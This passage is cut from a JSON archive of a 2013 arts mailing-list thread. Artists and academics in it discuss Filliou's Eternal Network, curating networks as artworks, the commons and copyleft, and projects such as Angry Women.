                        "content": "\nWhile we're waiting for Clive's remake of 'Ideals Die', perhaps I can \nattempt some speculations (one could almost call them 'inventive \nprovocations' if they were more detailed) on what it might mean to think \nboth research and politics as 'the domain of those who do not know' in \nthe context of some of the contributions to the discussion so far. In \nparticular, I'd like to try to find a way of thinking this idea \naffirmatively together with:\n\nClive's concern about having a 'common direction';\nKen Friedman's comments about the concept of The Eternal Network being a \nconcept of community, and about the apparent failure of artists to \ncreate network systems that thrive and develop for longer than a year or \ntwo;\nand Helen Pritchard's reference to the common, for Hardt and Negri, \nbeing discovered and produced through joyful encounters.\n\nThe latter brought to mind Nick Mirzeoff's disappointment with their \nbook Declaration, on the basis that, for Hardt and Negri:\n\n'\u201cliving information\u201d is said to be gained by physical proximity. Thus, \nat the encampments \"the participants experienced the power of creating \nnew political affects through being together.\" While that seems clearly \ntrue, there\u2019s a hint of Romantic nostalgia in the evocation of the \nletter over the email and the distaste for social media. Entirely absent \nhere... is any mention of the role of photography and moving image \ndistribution. From the al-Jazeera feeds of Tunisia and Tahrir to the \nLivestreaming of Occupy, web-disseminated video has indeed created a new \nway of being together without which it\u2019s hard to understand the \nformation of global affinities that we\u2019ve witnessed over the past 18 \nmonths.'[1]\n\nThat in turn made me think of how - as we know from the work of Dymitri \nKleiner and others [2] - the idea of the commons is a place where the \ninterests of a large number of diverse groups, movements, organisations \nand constituencies \u2013  including network technologists, media theorists, \nartists, activists  and curators - come together, but also exist in a \nstate of 'tension' and are often demonstrably incompatible and \nincommensurable. For example,  some in the Free Software community argue \nfor copyleft which is a use of copyright law, but one that\u2019s designed to \nserve the opposite ends to those such a copyright or Creative Commons \nlicense is usually put. Instead of supporting the ownership of private \nproperty, copyleft defends the freedom of everyone to copy, distribute, \ndevelop and improve software or any other work covered by such a \nlicence. Meanwhile, others question just how left politically copyleft \nactually is. Rather than preventing access to information and source \ncode from being restricted, those on the political left tend to be more \nconcerned with developing a free, common culture, and promoting the \nequal and just distribution of wealth among the creative workers who \nproduce it. To this end, Kleiner himself advocates for copyleft to be \ntransformed into copyfarleft, in which creative workers themselves own \nthe means of production, and only prevent use of their works which is \nnot based in the commons. Then again, many anti-intellectual property \nadvocates in the Pirate movement argue against copyright and the use of \nlicenses altogether, regarding them as remnants  from a previous age.\n\nNow all this could of course be taken as providing one illustration as \nto why it is difficult for network technologists, media theorists, \nartists, activists  and curators to create durable, scalable network \nsystems that thrive and develop for longer than a year or two - \nespecially if we are attempting to understand the politics of the common \nin terms of a known 'arbitrary closure' (such as 'continuity' \npossibly?). Or, it could be taken as suggesting we should perhaps \napproach the question of community, of being together and holding \nsomething in common, a little differently - in terms of a certain \nconflict, antagonism and incommensurability, and thus as being not the \ndomain of those who already know what community and the common are in \nadvance, but more 'the domain of those who do not know'.  It is \nsomething of this kind that Michael Bauwens seems to be pointing toward \nwhen he talks about the larger cultural and social shift  he associates \nwith peer-to-peer networks of production:\n\n'The fact that the commons interfaces with capital is not necessarily \nnegative. It can be, but it is not necessarily so.... Critics ask you to \nchoose one or the other, and what I am trying to say is that it is not \neither or, but both. They are both happening at the same time, we are \nde-commodifying and we are commodifying. ... I find it really \ninteresting that, within the system we already have, communal dynamics \nare actually happening. My point of view is not to take an \nanti-capitalist view, but to take a post-capitalist view.... I think \nthat is what happened in the past as well, I do not think that the \nChristians fought the Roman Empire or fought Feudalism as such; they \njust created a world based on their new logic .... The people no longer \nbelieve in the mainstream system. They may not know what they want, but \npeople in the French Revolution did not know what they want, and people \nin the Russian Revolution did not know what they want.'[3]\n\nAll of which appears to provide another way of thinking community \ntogether with performativity. For (and I'm just speculating here \nremember) how might we set about creating such an (as yet) unknown \ncommunity or world  - especially if we're concerned to try to avoid the \nsituation we've seen Stuart Hall fall into, where we're open to \nquestioning everything... except certain 'arbitrary closures' that \nestablish boundary lines around what we supposedly do know, such as \npolitics and the relation to the social formation in Hall's case. \nWouldn\u2019t we have to try to performatively create such a community via \nhow we act as network technologists, media theorists, artists, \nactivists  and curators? And do so \u2018without any guarantees\u2019 (Stuart Hall \nagain) that this would happen?[4]\n\nLet me try to illustrate what this might involve with the example of \nGraham Harman and his book on Bruno Latour, Prince of Networks (and I'm \nreferring to authors and texts that are part of the networks of networks \nI help to curate and care for quite deliberately here).[5] Harman of \ncourse is known for advocating a 'new logic' via Latour and others, \nbased on the argument that \u2018there is no privilege for a unique human \nsubject\u2019, and that with this \u2018a total democracy of objects replaces the \nlong tyranny of human beings in philosophy\u2019.[6] However,  even though \nPrince of Networks is available open access through re.press,[7] that \ndoesn\u2019t mean a network of people, objects or actants can take Harman\u2019s \ntext, rewrite and improve it, and in this way produce a work derived \nfrom it that can then be legally published. Since Harman has chosen to \npublish his book under a Creative Commons BY-NC-ND licence, that would \nstill be to infringe his claim to copyright: both the right Harman \nwishes to retain to be identified as the author of Prince of Networks, \nand to have it attributed to him precisely as a unique human subject; \nbut also Harman\u2019s right of integrity, which enables him as a human being \nto claim it as his intellectual property, and which grants him the \nprivilege of refusing to allow the \u2018original\u2019, fixed and final form of \nPrince of Networks to be modified or distorted by others, be they humans \nor objects.\n\nSo how might we begin to think about how we could act differently in \nthis respect? Well, one starting point for doing so is perhaps offered \nby Lawrence Liang's troubling of the 'distinction between an agent who \nperforms an action and the action that the agent performs.' Here, 'an \nagent is constituted by the actions that he or she performs, or an agent \nis the actions performed and nothing more. Interestingly, what this \nmeans when it comes to written texts - and this brings us back neatly to \nHelen's mention of joyful encounters - is that: 'to assert \"This is my \npoem\" within the social imaginary of intellectual property is to make a \nclaim that sounds very much like \"This is my pen\", whereas in fact, it \nmight be more accurate to think of its claim as the same as \"This is my \nfriend\".'\n\nGary\n\n\n[1] \nhttp://www.nicholasmirzoeff.com/O2012/2012/05/09/on-hardt-and-negris-declaration/\n[2] Dmytri Kleiner, The Telecommumist Manifesto, Amsterdam: Institute of \nNetwork Cultures, 2010, \nhttp://telekommunisten.net/the-telekommunist-manifesto/.\n[3] Michel Bauwens in Sam Kinsley, \u2018TOWARDS PEER-TO-PEER ALTERNATIVES: \nAn interview with Michel Bauwens\u2019, Culture Machine, 2012, \nhttp://www.culturemachine.net/index.php/cm/article/view/467/497.\n[4] 'The Problem of Ideology: Marxism without Guarantees', in D. Morley \nand Kuan-Hsing Chen (eds.) Stuart Hall : Critical Dialogues in Cultural \nStudies (London/ New York: Routledge 1996) pp26-29.\n[5] http://openhumanitiespress.org/new-metaphysics.html.\n[6] Graham Harman, \u2018The Importance of Bruno Latour for Philosophy\u2019, \nCultural Studies Review, Volume 13, Number 1, March 2007, p.36.\n[7] \nhttp://re-press.org/books/prince-of-networks-bruno-latour-and-metaphysics/.\n[8] Lawrence Liang, \u2018The Man Who Mistook His Wife for a Book\u2019, in Gaelle \nKrikorian and Amy Kapczynski, eds, Access to Knowledge In the Age of \nIntellectual Property (New York: Zone Books, 2010) p.286, 283-284.",
                        "id": 0,
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=34740",
                        "date": "Sat, 23 Feb 2013 22:02:05 +0000",
                        "list": "crumb",
                        "author_name": "Gary Hall",
                        "subject": "Re: Reading the Network"
                    }
                ],
                "date": "Sun, 24 Feb 2013 00:10:59 +0800",
                "list": "crumb",
                "author_name": "Helen Pritchard",
                "subject": "Reading the Network"
            },
            {
                "content-type": "text/plain",
                "from": "Annie Abrahams",
                "content": "\nHi list members,\n\nAs an artist living in France, I had to come across Filliou. It is hard not\nto. All art students learn about his work. But I did art school in Holland\nand it was only later on, when, living here in France, I met Ben Vautier,\nJean Dupuy and Pierre Tilman, who are all somehow influenced by him, that I\ngot interested in his work. But I am not very familiar with it.\n\nMy first question is what is the Ethernal Network? On the internet it is\ntranslated as La f\u00eate permanente ??? (the permanent party?).\n\nI have difficulties understanding what you mean by a network as artwork. I\nimagine projects like DIWO done by Furtherfield, their mailinglist\nnetbehaviour, global communities like the ones around Upstage, Waterwheel\nor videovortex, to name but a few, might apply for this \"title\". Also\nprobably some of my own activities like the Angry women and Huis Clos / No\nExit projects and my involvement with the Cyposium touch on this...\n\nI am also not sure I understand what a network-as-artwork is, and I ask\nmyself (and you) what is interesting about considering networks as\nartworks?\n\nI feel kind of uncomfortable with the idea that networks can be curated. I\nam not sure that is the right word to use, I think I would rather like to\nuse the word care taking (I think Clive suggested that in his first mail),\nbut there might be a much better word.\nCurating is a word anchored in the existing landscape of thinking and\nactivating art as a commodity. As soon as we enter the global networks and\nwant to think about these as possible artworks we can no longer use \"old\"\nterminologies if we want to understand what is happening.\nYou can not understand communication using the internet by known standard\nand analytical tools. When I need to explain this in a simple way, I do\nthat by showing, talking about, and acting out my piece A Big Kiss (online\nkissing is drawing with a tongue, exciting too, as all drawing can be\nexciting, but if you could look at me doing it, you would just see some\nstrange, foolish gesticulations in the void)\n\nI am interested in collaborative groupdynamics using internet technologies.\nI have no other goal with this than to understand and to experiment these.\nI am not sure as Randall seemed to be that these practices will lead\nautomatically to less hierachical, more peer-to peer based relations. It\ndepends on intentions, of the users, of the proprieties of the interface\nused and on how it is controlled, but maybe I am missing something and I\nwould be glad if someone pointed that out to me.\n\nMaybe, maybe describing some facets of one of my projects might triggers\nothers to write about other concrete, maybe more appropriate examples.\n\nAngry Women started in 2011. ** It is an artistic research project on\nremote communication and collaboration using anger as a pretext, and, in\nthe beginning it was also a project on female anger using webcam\nperformances as a facilitator.\nSo far, besides a lot of email exchange, we had 5 performances with only\nladies, one with only men, two mixed gender performances, but also several\ntechnical test and 2 online evaluation sessions. You can find videos,\ntexts, performance protocols, analyses and written reaction on\nhttp://www.bram.org/angry/women . 48 People from different professional and\ncultural backgrounds (13 different mother tongues), participated, some only\nonce others up to 6 times.\nWe are all very much interested in finding out how to communicate in a\nsituation were we have technological advanced equipment, that makes it\npossible to be together in a shared environment while staying on our own,\nalone at home; we want to research our contemporary status quo of lonely\ntogetherness.\nThis is related to exploring how a sense of \"we\" can exist in a group of\nvery different individuals, what it means to think a \" to be with\" based on\nsingularities. I hope to find a radical, plastic? new interpretation of\n\"we\".\n\nIn our latest evaluation session we discussed the status of the project.\nFor the moment it is my project It needs a lot of caring, and for the needs\nof each participating individual, and for the overall context, for the\n\"network?\". So, I am the who drives this network, it needs my attention,\nmore attention than creativity, I guess, and it wouldn't exist if I had\nbeen a party animal. But during the online meetings and the performances,\nthe creation is continuos, the party goes on and the relations between us\nhave an ethernal feeling (Filliou would probably like to participate) -\nonly during - afterwards you feel as going home alone under a starry night\nready for another periode of caring.\n\n\nYours\nAnnie Abrahams",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=20032",
                "follow-up": [
                    {
                        "from": "Roddy Hunter",
                        "content": "\nHi all\n\nGood to be swinging into the second week of the discussion. Thanks, Johannes and Annie for focusing minds on particular issues and questions. Also good to see we are beginning to see \u2018concrete examples\u2019 of network practice to discuss and evaluate. I will take a look a closer look at examples you offer, Annie, as well as work of other respondents and write in a later post. The main questions/issues you both raise seem to concern the usefulness or otherwise of thinking about networks-as-artworks, how to determine their success or failure and what role curating might have in these respects. These still seem to be areas needing conceptual clarification so we can move forward.\n\nI think it can be useful to conceive of a network-as-artwork where production, distribution and reception integrate as closely as possible in the creative process. Typically, the institutional artworld conceives of these separately, often involving different agents of mediation: the artist being one, the curator being another, the critic and hypothetical \u2018ideal\u2019 spectator another still. This economy is well known of course and summarized usefully in Alloway, L. (1984) 'Network: The Art World Described as a System'. In: Alloway, L. 'Network: Art and the Complex Present'. Ann Arbor, MI, UMI Research Press, pp. 3-15. Hakim Bey has also equated increasing \u2018degrees of mediation\u2019 with corresponding interventions of Capital\u2019 (Bey 1994. Available at: http://hermetic.com/bey/radio_se.html)\n\nClearly, this system places \u2018artists in a submissive role\u2019 as Clive notes and it's also not surprising that artists have regarded curating \u2018as a very corrupt discourse.\u2019 (O\u2019Neill & Wilson, 2009. Available at: http://www.ica.org.uk/Emergence%20by%20Paul%20O'Neill%20&%3B%20Mick%20Wilson+17186.twl). More than this, I remember reading recently \u2013 but cannot locate the reference! \u2013 of an artist or curator who realised that while for Marx the issue was ownership of the means of production, their own preoccupation was with ownership of the means of distribution/reception or something like that. If anyone can help me re-locate that reference that would be great! \n\nIn any case, the case for the network-as-artwork becomes clearer when regarded from this position. The historical backdrop of the \u2018dematerialisation of the art object\u2019, which while a somewhat erroneous term, does expand possible interfaces of aesthetic exchange to encompass always increasingly accessible communications technologies as well as discrete, bounded objects of beauty, fax machines as well as paintings. The communications interface, just as a conversation, requires co-presence and co-production of the aesthetic experience. This sense is typical of the 1960s and found too in Allan Kaprow\u2019s \u2018no audience, only participants\u2019 approach to the Happening (Kaprow 1968. Available at: http://www.ubu.com/sound/kaprow.html).\n\nMuch of this work clearly takes advantage of any and all communication technologies, especially those that could have global reach. Extending the capacity to be together in different places in the same liminal moment seems aesthetically to be the driver. There is an \u2018aesthetics of distance\u2019 here which actually depends on being separate from each other in space and time. The experience of this relationship, the intersubjective exchange across space and time, becomes itself the aesthetic \u2018object\u2019. \nManovich (2001) already points out that Benjamin defines aura 'as the unique phenomenon of a distance' (224) not of proximity. We shouldn\u2019t necessarily assume an authentic desire to overcome physical, geographical separation between networkers: it is the romance of their geographical separation that becomes exotic and perhaps even an act of aesthetic love. Aesthetic experience, in my view and found I believe in Bakhtin, requires difference (non-coincidence) rather than synthesis of respective consciousnesses. Synthesis is often confused with empathy and thus thought of as an aesthetic event, where it is arguably more ethical. When the network-as-artwork \u2018fails\u2019 as Ken suggests and Johannes questions, is this failure understood in terms of aesthetic or ethical efficacy/sustainability? The difference between poetical and political economy?\n\nThese conditions all taken together mean arguably that Filliou and others becoming interested in the artist-networker position were in fact becoming engaged with curating. I was struck with Clive\u2019s view that \u2018curating (caring for) the network (as mutually authored projects) made sense as an artwork\u2019 which was very well put. I like this because it refers to curating as an activity as opposed to a job or career. I think Filliou and other networkers (e.g. H.R Fricker and \u2018The Decentralised Network Congress\u2019) were behaving curatorially in setting/integrating the context of production, distribution, reception as an \u2018open system\u2019 in which to participate.\n\nTwo useful views on rethinking curatorial activity in the context of network-as-artwork:  \n\nFor artists, Paul O\u2019Neill again:\n\u201cThe term \u201cartist curator\u201d, which once simply referred to exhibitions curated by artists, is applied by [Gavin] Wade to those practitioners using exhibition design, architectural structures, and curatorial strategies as a way of presenting themselves, alongside other artists, to create composite public outcomes\u201d.\nO\u2019Neill, Paul. (2012): The Culture of Curating and the Curating of Culture(s). MIT, p. 105\n\nAnd for curators, CRUMB\u2019s very own Beryl and Sarah:\n\u201cCurators who are truly interested in the decentralised, dematerialized activity of network-based arts have tried to change their curatorial tactics to be more in line with the artists, even if that means being increasingly misaligned with the traditional institutions for the presentation of art.\u201d \nCook, Sarah & Graham, Beryl. (2010): Rethinking Curating. MIT, p. 84\n\nRethinking relationships between production, distribution, reception (or at the risk of more hyphenating: production-as-distribution-as-reception, etc., etc.) is important and should welcome interventions from any perspective of hybridity and indeterminacy.\n\nHope I\u2019ve explained my grounds for asking the question better!\n\nBest wishes all, \n\nRoddy",
                        "id": 0,
                        "date": "Sun, 10 Feb 2013 20:41:22 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=20642",
                        "content-type": "text/plain",
                        "author_name": "Roddy Hunter",
                        "subject": "Re: Curating the Network as Artwork"
                    },
                    {
                        "from": "Johannes Birringer",
                        "content": "\njust wanted to say thank you to Katja Kwastek for her illuminating review of the Transmediale,\nyour sharp observations seemed to make good sense in the context of this discussion, and\nI was sorry of course to learn that Pluto was not elevated but remained confirmed-demoted,\na poor post-planet.\n\n\nas to your comment on PAPER, you mention the Post Digital Publishing workshop, \n>>\n. A highlight of this was the keynote by Kenneth Goldsmith on conceptual writing, with the provocative thesis: \n\"with the rise of the web writing has met its photography\" - \nI don't think I really agree, but it is worth thinking about it - goes into the whole discourse of computationality which was also represented by David Berry. \n>>\n\nI'd like to learn more about this, could you elaborate or send me a follow up link?     And how is this connected to the \"discourse\non computationality\" or to the theme that Annie Abrahams brought forward, on caring for/sustaining a possibly on-going creation\n(across/with network) or project involve both site and remote site collaboration. \n\nI liked the example of \"Angry Women\", with its organizational and productive dimensions; and it reminds me of a small proiect a theatre friend of mine, Angeles Romero, \nstarted up in Houston, last year with young Latinas who were encouraged to use their cellphones to make short films working with\nthe restrictions of the medium but developing a craft of the short film (one task was to do the scripting/story-boarding. shoot/edit in one day and upload to YouTube by the end of the day)...\n\n\n\n....  see an example here:  http://www.youtube.com/watch?v=DWdGgI3yGIk&feature=youtu.be\n\nhttp://www.youtube.com/watch?v=dn49HbJkcZU\nor\nhttp://www.youtube.com/watch?v=ZltCSIEV82g\n\nI think these wonderful, humorous and sometimes ironic yet also politicized  \"tiny\" productions are part of a pedagogy of 'teatro espontaneo' that Romero developed in her theatre workshops in the Latino/a community,\nand they are now also testing the \"re-mediation\" possibilities of working with new media or social media networks. Now sure whether the group has\ndeveloped a policiy about \"curating\" the quick work on YouTube.   \n\nAnd why should they bother?\n\nWhat is there is no role for curating in this connection?  (Katja, did you not mention something about \"'Curating Youtube' in regard to Transmediale?)\ncertainly for the young mobile-video-makers in Houston the curatorial question is irrelevant, i think. The creative production model, on the other hand,\nis not. \n\n\nwith regards\nJohannes Birringer",
                        "id": 0,
                        "date": "Mon, 11 Feb 2013 13:41:31 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=23053",
                        "content-type": "text/plain",
                        "author_name": "Johannes Birringer",
                        "subject": "Re: Curating the Network as Artwork"
                    },
                    {
                        "from": "Johannes Birringer",
                        "content": "\nhi all\n\nstrangely i think the debate here stopped on February 11,  after Clive and I posted some commentary...\nI was wondering why the discussion stopped.  Sorry for my query, i am always interested into these \nthings/situations when a dialogue suddenly stops.  \n\nwith regards\nJohannes\n\n\n[Roddy Hunter schreibt]\n[...]",
                        "id": 0,
                        "date": "Wed, 20 Feb 2013 21:18:45 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=29642",
                        "content-type": "text/plain",
                        "author_name": "Johannes Birringer",
                        "subject": "Re: Curating the Network as Artwork"
                    },
                    {
                        "from": "Roddy Hunter",
                        "content": "\nHi Johannes\n\nAs I said, my fault. Too many serious work/life issues off-list. Am trying to catch up now. Apologies.\n\nI'd welcome contributions from invited respondents especially those who have not introduced themselves. \n\nAgain links to relevant projects to build a resource list welcome - doesn't have to be essays.\n\nThanks all for patience with your faulty moderator.\n\nBest wishes\n\nRoddy",
                        "id": 0,
                        "date": "Wed, 20 Feb 2013 21:47:12 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=30208",
                        "content-type": "text/plain",
                        "author_name": "Roddy Hunter",
                        "subject": "Re: Curating the Network as Artwork"
                    },
                    {
                        "from": "Johannes Birringer",
                        "content": "\noh, not at all, i did not at all mean to suggest it is a matter of moderation, I was wondering aloud, and am sorry for having done so, why discussion\non this list repeatedly tends to stop at certain points. I think I have asked this before, so ignore my curiosity.\n\nwith regards\n\nGregor\n(just back from Zagreb)\n\n----------\n\n[Roddy schreibt]\n\nAs I said, my fault. Too many serious work/life issues off-list. Am trying to catch up now. Apologies.\nI'd welcome contributions from invited respondents especially those who have not introduced themselves.\nAgain links to relevant projects to build a resource list welcome - doesn't have to be essays.\nThanks all for patience with your faulty moderator.",
                        "id": 0,
                        "date": "Wed, 20 Feb 2013 21:56:32 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=30806",
                        "content-type": "text/plain",
                        "author_name": "Johannes Birringer",
                        "subject": "Re: Curating the Network as Artwork"
                    },
                    {
                        "content-type": "text/plain",
                        "from": "Tom Sherman",
                        "content": "\nI met Robert Filliou somewhere in the 1970s, could have been Vancouver or Toronto.  He had a lot of presence in his unassuming way.  When he made reference to the Eternal Network I thought at the time he was referring to the spirit of curiosity and creativity that will always glow or bubble up or erupt around the planet.  No matter how sour and stiff and roboticized our societies would become, there was always hope in youth and all those who refuse to stop playing.  Filliou was one who joked around as if his and everyone else\u2019s life depended on a sense of irreverence and frivolity and invention.  I was fortunate to know Clive Robertson who had managed to fix and firm up Filliou\u2019s spirit in media, video and other deceptively modest media, including audiocassette editions, and later audio CDs.\n\nI understood the practicality of Filliou\u2019s obsession with travel and connection and networking because I had interned as a boy sending out messages in Morse code as a ham radio operator from my bedroom in a small town in Michigan.  I spent even more time DXing short wave and medium wave radio stations around the world and setting up \u2018tapespondence\u2019 networks through which locally originated reel-to-reel audio recordings were exchanged through the postal networks.  We didn\u2019t have long-distance telecom access in late 1950s or early 1960s (the use of telephones was financially prohibitive).  I figured out how to find out what was going on everywhere else and to manifest my own voice and participate in and invent global networks because I had to in order to survive.  In rural Michigan there were few cultural options at the time: hunting and fishing, sports, car culture, alcohol, pop music and three television networks.  I didn\u2019t know there were people like Robert Filliou and horizontal networks like Fluxus forming at that time, but I was starving for information and desperate to find others who weren\u2019t satisfied with the mass media culture of Ed Sullivan or Elvis Presley or Walter Cronkite.\n\nLater I would realize that Filliou and artists of like-minds would understand that the sparks of curiosity and discovery could be amplified and highlighted through networks.  I saw artist-run centres spring up and floods of mail art begin to circulate through and beyond this constellation of alternative institutions in parallel to commercial galleries and museums.  Horizontality flattened verticality and became for many an ideal.  Postal networks gave way to bicycled videocassettes and slow-scan television and photocopy and fax and primitive e-mail systems.  Telephony, just a whisper of what it would become, was enlarging at an incomprehensible rate, kicked into light speed by analogue to digital conversion.  Satellites and later fibre-optic undersea cables fired this mushrooming connectivity.  The idea of \u2018communities of interest\u2019 became more and more apparent and necessary.  Communities of common interests were forming concretely, suddenly, without the necessity of physical, in the flesh, communities.  Kindred spirits were connecting ethereally and interactivity was arising like Brownian motion around the foundations, the ruins, of mass media. The phenomena of distributed authorship were becoming tangible.  The economy of goods and services was shifting into the information economy\u2014economies based on scarcity were collapsing as gift economies were emerging in rich cultures of abundance.\n\nThe weak signals of unpopular culture gained enough strength to form clear alternatives to mainstream cultures through networked exchanges.  The electronic and eventually digital telecommunication networks accrued in layers of webs over obscure galleries and clubs, universities and town halls, those places were people actually meet.  Everyone aspired to create difference.  Anomaly was actually the norm for a while.  But as culture was atomized into rivers and seas of individual voices (as we have become full transceiver cultures), differences have become less significant and people have become less interested in being different and more interested in being the same.  Don\u2019t ask me why, I just know that this is true.  Young people want to be part of a set of emergent identical behaviors, moving this way and that like schools of fish.  Maybe this results from more and more consistent prompts from the mediated environment--a kind of engineered roboticism, the behavioral response to endlessly consistent instruction sets--or maybe there is simply too much risk associated with being different?  (maybe it is only acceptable to internalize, to \u2018secretize\u2019 21st century individualism?)  One thing for sure, the connective tissues of networks are far more elaborate and comprehensive than ever before.  We are flush with channels for trading messages. Telecom is simultaneously personal and institutional and evolving at unprecedented speed.  Kindred spirits are no longer isolated by distance and time.  Kindred spirits find themselves jam packed in overcrowded networks.\n\nWhere is Robert Filliou when we need him?  We need artists with miners\u2019 hats, the helmets with probing lights mounted on them, to comb the clogged networks for signs of copious curiosity and playfulness.  (Baseline inventiveness.)  Where are those flaunting ignorance for a chance to celebrate what they don\u2019t know?  Risky takers of chance.  Lovely eccentrics.  People who make our head hurt just being themselves.  I think things have changed more than we think they have over the past fifty or sixty years.  The kids are playing in seclusion with intelligent artifacts and far too many people are humanizing cats and watching dogs speaking in affected voices in the English language on their Apple telephones.  \n\n\n-----  \n\nTom Sherman is an artist and writer with a history of involvement with networks. He is a professor in the Department of Transmedia at Syracuse University in central New York.  http://vpa.syr.edu/directory/tom-sherman",
                        "id": 0,
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=38126",
                        "date": "Mon, 25 Feb 2013 12:44:17 +0000",
                        "list": "crumb",
                        "author_name": "Tom Sherman",
                        "subject": "Curating the Network as Artwork"
                    },
                    {
                        "from": "Roddy Hunter",
                        "content": "\nDear list, \n\nArmin: I appreciate your comment on the impossibility or otherwise of curating the net as if it were a giant ready-made. It may well have been possible to approach it from this angle at the time of Cosic, Shulgin, Lialina et al. Galloway expressed similar when he says net.art \u2018is dirty aesthetic deeply limited, but also facilitated, by the network [\u2026] a type of art making that is a mapping of the network\u2019s technological limitations and failures\u2019.[1] The pervasiveness of Web 2.0, particularly social media, has meant the network is more likely a spectacle, in the Debordian sense of \u2018a social relation between people that is mediated by images\u2019. [2] I am not sure that curating the network-as-artwork is the same as curating the net as artwork, in the way I mean to explore it. I was ashamed of myself that prior to this discussion I had not read Tatiana Bazzichelli\u2019s \u2018Networking: The Net as Artwork\u2019 [3] but will soon to try to resolve the question of whether there is a difference. Essentially, in my view currently, the Net is one network  - perhaps the paradigmatic apogee of networking  \u2013 but there needs to be a way the \u2018network-as-artwork\u2019 can affirm critique of its post-Web 2.0 pre-eminence. I agree entirely then with your view that \u2018We need to move beyond this situation and not just invent a new aesthetics but new forms of living, of co-operation, of exchange. Technologies will play a role in this, but not such a privileged anymore.\u2019 [4] This moves us closer back onto Filliou\u2019s territory of \u2018The Eternal Network\u2019 where we need to contend then, however, with the problems of materialisation again. I see you trying to do that with your FIELDS project and while I won't be able to take part would like to know how that turns out.\n\nKen: I also appreciate your attempt to think through different meanings of \u2018network\u2019. If I follow, you seem to suggest one sense lies in artists\u2019 manipulating communications technologies for aesthetic ends (Nam June Paik, \u2018Art by Telephone\u2019, \u2018Omaha Flow Systems\u2019) \u2013 network as tool, perhaps \u2013 and the other being the broader context of networked communication itself, which in many ways transcends specifically art production. If this careful differentiation stands, then it probably benefits Filliou\u2019s conception of \u2018art being what makes like more interesting than art\u2019. It is useful to think of your differentiation of networks-as-tools and networks-as-systems. Sure, The Eternal Network would need to fall into the latter category as an artwork as an ongoing system of relations rather than an as a networked \u2018artefact\u2019. Your point of sustainability is valid to raise given the apparently \u2018permanent\u2019 nature of \u2018la f\u00eate permanent\u2019\u2026 but really how did Filliou mean this \u2018permanence\u2019 to be interpreted? I think his definition of \u2018The Eternal Network\u2019 \u2013 again from Clive\u2019s \u2018Porta Filliou\u2019 tape \u2013 refers to the \u2018eternal\u2019 aspect as \u2018la f\u00eate permanent\u2019 of the post-avant-garde, as what happens whenever \u2018through the collective efforts of artists \u2026artistic activity becomes just one of the elements.\u2019 [5] If artists collectively succeed in escaping the fixed positioning of the avant-garde as a dialectically-bound reaction and recoverable antidote to mainstream hegemony, then needing to circumvent the regulation of their activities as art could be important. The issue then is how to employ whichever criteria decide the efficacy of such a network or not. To move toward Clive and Gary\u2019s discussion of Stuart Hall elsewhere, I wonder if \u2018The Eternal Network\u2019 is a puzzle which resists the moment of \u2018regulation\u2019 in the circuit of culture that \u2018comprises controls on cultural activity\u2019. There is also \u2018play\u2019 here as a critique of instrumentalisation and yes; I think Filliou is making mischief that\u2019s keeps us talking now. Maybe working out what \u2018la f\u00eate permanent\u2019 is a koan? Thanks for making \u201cThe Wealth and Poverty of Networks\u201d available [6]. I read it earlier in my research and it certainly works well as critique of Filliou that needs to be responded. Maybe the problem is in sticking to \u2018network\u2019 - we could argue whether Art\u2019s Birthday is a \u2018network\u2019 or not. I guess I am as interested in in it as a \u2018formation\u2019 and a \u2018networked formation\u2019 at that. Problem?\n\nGary: I really appreciate your excursus on Cultural Studies and Hall [7] and do sense there is an answer from that perspective to these problems \u2013 as I hint at in a very literal, uninformed way above \u2013 but I am going to have spend longer working through those issues of research and politics you raise \u2013 is Ranci\u00e8re useful in relation to finding ways to consider \u2018being \u2018political\u2019\u2019?\n\nClive: \u201cideals Die\u201d totally gets into the annotated bibliography \u2013 you know we all want to hear it! Upload a MP3 please, just for us? I also completely appreciate your idea of printing a small and cheap \u2013 as you say \u2013edition reflecting the discussion that we can put up as a PDF on the CRUMB site, maybe? That\u2019ll also give us a reason to keep talking once this month is over and see where this current network formation can lead us. Brilliant idea, thanks very much for proposing. Everyone else happy with that, anyone want to join in particularly? \n\nMy hard dive is slowing down and I am getting unresponsive script warnings trying to filter the wonderful further material Helen, Gary, Ken, Clive and Tom contributed to the list discussion. This will form part two of my response within the next couple of days but there is certainly a wealth of links that we can add there to our bibliography of \u2018network-as-artwork\u2019 research. Thank you for your generosity, all.\n\nOh, Filliou, why are you one of those \u2018People who make our head hurt just being themselves\u2019? [8] Thanks for that in particular, Tom.\n\nNetwork greetings, \n\nRoddy\n\n[1] Galloway, Alexander R. 2004. \u2018Internet Art\u2019. In: Protocol: How Control Exists After Decentralization. MIT Press, 219.\n[2] http://www.bopsecrets.org/SI/debord/1.htm\n[3] http://darc.imv.au.dk/wp-content/files/networking_bazzichelli.pdf\n[4] https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&D=1&O=D&X=03DC5D40CE246463EE&Y=hunter.roddy%40gmail.com&P=31120\n[5] http://www.youtube.com/watch?v=9BgOfsG7J0Q\n[6] http://swinburne.academia.edu/KenFriedman\n[7] https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&D=1&O=D&X=03DC5D40CE246463EE&Y=hunter.roddy%40gmail.com&P=32335\n[8] https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&D=1&O=D&X=65ACE72CDFD17E2F92&Y=hunter.roddy%40gmail.com&P=37926",
                        "id": 0,
                        "date": "Mon, 25 Feb 2013 23:23:43 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=39722",
                        "content-type": "text/plain",
